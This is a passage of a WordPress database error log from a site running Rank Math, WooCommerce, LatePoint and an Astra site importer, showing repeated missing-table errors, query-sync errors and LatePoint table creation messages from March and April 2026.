RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [23-Mar-2026 20:12:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1169 made by wp_dashboard, do_meta_boxes, wp_dashboard_quick_press, get_default_post_to_edit, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [23-Mar-2026 20:13:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1170 made by get_default_post_to_edit, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Mar-2026 19:22:34 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [24-Mar-2026 19:22:34 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [24-Mar-2026 19:22:34 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [24-Mar-2026 19:22:34 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [24-Mar-2026 19:22:34 UTC] WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wpuz_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [03-Apr-2026 20:33:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1172 made by wp_dashboard, do_meta_boxes, wp_dashboard_quick_press, get_default_post_to_edit, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_customer_otp_codes] => Created table wpuz_latepoint_customer_otp_codes ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_recurrences] => Created table wpuz_latepoint_recurrences ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_steps] => Created table wpuz_latepoint_steps ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_carts] => Created table wpuz_latepoint_carts ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_cart_items] => Created table wpuz_latepoint_cart_items ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_orders] => Created table wpuz_latepoint_orders ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_order_items] => Created table wpuz_latepoint_order_items ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_order_intents] => Created table wpuz_latepoint_order_intents ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_order_invoices] => Created table wpuz_latepoint_order_invoices ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_payment_requests] => Created table wpuz_latepoint_payment_requests ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_process_jobs] => Created table wpuz_latepoint_process_jobs ) [08-Apr-2026 20:01:14 UTC] Array ( [wpuz_latepoint_sessions] => Created table wpuz_latepoint_sessions ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_bookings] => Created table wpuz_latepoint_bookings ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_blocked_periods] => Created table wpuz_latepoint_blocked_periods ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_cart_meta] => Created table wpuz_latepoint_cart_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_order_meta] => Created table wpuz_latepoint_order_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_booking_meta] => Created table wpuz_latepoint_booking_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_processes] => Created table wpuz_latepoint_processes ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_service_meta] => Created table wpuz_latepoint_service_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_customer_meta] => Created table wpuz_latepoint_customer_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_agent_meta] => Created table wpuz_latepoint_agent_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_bundle_meta] => Created table wpuz_latepoint_bundle_meta ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_settings] => Created table wpuz_latepoint_settings ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_locations] => Created table wpuz_latepoint_locations ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_location_categories] => Created table wpuz_latepoint_location_categories ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_bundles] => Created table wpuz_latepoint_bundles ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_bundles_services] => Created table wpuz_latepoint_bundles_services ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_services] => Created table wpuz_latepoint_services ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_agents] => Created table wpuz_latepoint_agents ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_step_settings] => Created table wpuz_latepoint_step_settings ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_customers] => Created table wpuz_latepoint_customers ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_service_categories] => Created table wpuz_latepoint_service_categories ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_custom_prices] => Created table wpuz_latepoint_custom_prices ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_work_periods] => Created table wpuz_latepoint_work_periods ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_agents_services] => Created table wpuz_latepoint_agents_services ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_activities] => Created table wpuz_latepoint_activities ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_transaction_intents] => Created table wpuz_latepoint_transaction_intents ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_transactions] => Created table wpuz_latepoint_transactions ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_transaction_refunds] => Created table wpuz_latepoint_transaction_refunds ) [08-Apr-2026 20:01:15 UTC] Array ( ) [08-Apr-2026 20:01:15 UTC] Array ( ) [08-Apr-2026 20:01:15 UTC] Array ( [wpuz_latepoint_steps.use_custom_image] => Changed type of wpuz_latepoint_steps.use_custom_image from tinyint(1) to boolean ) [08-Apr-2026 20:01:15 UTC] Array ( ) [08-Apr-2026 20:01:15 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( [wpuz_latepoint_services.is_price_variable] => Changed type of wpuz_latepoint_services.is_price_variable from tinyint(1) to boolean [wpuz_latepoint_services.is_deposit_required] => Changed type of wpuz_latepoint_services.is_deposit_required from tinyint(1) to boolean ) [08-Apr-2026 20:01:16 UTC] Array ( [wpuz_latepoint_agents.custom_hours] => Changed type of wpuz_latepoint_agents.custom_hours from tinyint(1) to boolean ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( [wpuz_latepoint_customers.is_guest] => Changed type of wpuz_latepoint_customers.is_guest from tinyint(1) to boolean ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( [wpuz_latepoint_custom_prices.is_price_variable] => Changed type of wpuz_latepoint_custom_prices.is_price_variable from tinyint(1) to boolean [wpuz_latepoint_custom_prices.is_deposit_required] => Changed type of wpuz_latepoint_custom_prices.is_deposit_required from tinyint(1) to boolean ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( [wpuz_latepoint_agents_services.is_custom_hours] => Changed type of wpuz_latepoint_agents_services.is_custom_hours from tinyint(1) to BOOLEAN [wpuz_latepoint_agents_services.is_custom_price] => Changed type of wpuz_latepoint_agents_services.is_custom_price from tinyint(1) to BOOLEAN [wpuz_latepoint_agents_services.is_custom_duration] => Changed type of wpuz_latepoint_agents_services.is_custom_duration from tinyint(1) to BOOLEAN ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:01:16 UTC] Array ( ) [08-Apr-2026 20:02:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 48 made by do_action('wp_ajax_astra-sites-import_customizer_settings'), WP_Hook->do_action, WP_Hook->apply_filters, AiBuilder\Inc\Ajax\Importer->import_customizer_settings, AiBuilder\Inc\Traits\Helper::import_customizer_settings, STImporter\Importer\ST_Importer::import_customizer_settings, wp_update_custom_css_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1218 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1220 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 20 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 21 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1221 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1222 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1223 made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_astra-wxr-import'), WP_Hook->do_action, WP_Hook->apply_filters, STImporter\Importer\WXR_Importer\ST_WXR_Importer->sse_import, WXR_Importer->import, WXR_Importer->process_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1223 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1227 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1223 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1228 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 800 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 800 made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:02:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:02:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_wp_image_process'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Background_Process->maybe_handle, WP_Background_Process->handle, WP_Background_Process_Astra->task, 